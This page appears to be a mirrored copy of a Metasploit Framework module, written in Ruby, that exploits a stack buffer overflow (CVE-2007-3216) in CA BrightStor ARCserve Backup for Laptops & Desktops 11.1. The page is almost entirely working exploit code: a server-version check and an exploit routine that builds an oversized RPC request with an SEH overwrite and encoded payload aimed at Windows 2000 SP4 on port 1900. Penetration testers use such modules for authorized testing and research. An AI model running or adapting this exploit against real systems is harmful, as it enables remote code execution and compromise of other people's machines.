Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/brightstor/lgserver_multi.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'CA BrightStor ARCserve for Laptops and Desktops LGServer Multiple Commands Buffer Overflow',14'Description' => %q{15This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup16for Laptops & Desktops 11.1. By sending a specially crafted request to multiple commands,17an attacker could overflow the buffer and execute arbitrary code.18},19'Author' => [ 'MC' ],20'License' => MSF_LICENSE,21'References' =>22[23[ 'CVE', '2007-3216' ],24[ 'OSVDB', '35329' ],25[ 'BID', '24348' ],26],27'Privileged' => true,28'DefaultOptions' =>29{30'EXITFUNC' => 'process',31},32'Payload' =>33{34'Space' => 400,35'BadChars' => "\x00",36'StackAdjustment' => -3500,37},38'Platform' => 'win',39'Targets' =>40[41[ 'Windows 2000 SP4 English', { 'Ret' => 0x75022ac4 } ],42],43'DisclosureDate' => '2007-06-06',44'DefaultTarget' => 0))4546register_options([ Opt::RPORT(1900) ])47end4849def check5051connect5253sock.put("0000000019rxrGetServerVersion")54ver = sock.get_once5556disconnect5758if ( ver and ver =~ /11\.1\.742/ )59return Exploit::CheckCode::Appears60end6162return Exploit::CheckCode::Safe6364end6566def exploit6768connect6970rpc_commands = [71"rxsAddNewUser",72"rxsSetUserInfo",73"rxsRenameUser",74"rxsExportData",75"rxcReadSaveSetProfile",76"rxcInitSaveSetProfile",77"rxcAddSaveSetNextAppList",78"rxcAddSaveSetNextFilesPathList"79]8081rpc_command = rpc_commands[rand(rpc_commands.length)]8283data = rand_text_alpha_upper(62768)8485data[58468,8] = generate_seh_record(target.ret)86data[58476,payload.encoded.length] = payload.encoded8788sploit = "0000062768" # Command Length Field89sploit << rpc_command # RPC Command90sploit << "~~" # Constant Argument Delimiter91sploit << data9293print_status("Trying target #{target.name} with command '#{rpc_command}'...")94sock.put(sploit)9596handler97disconnect9899end100end101102103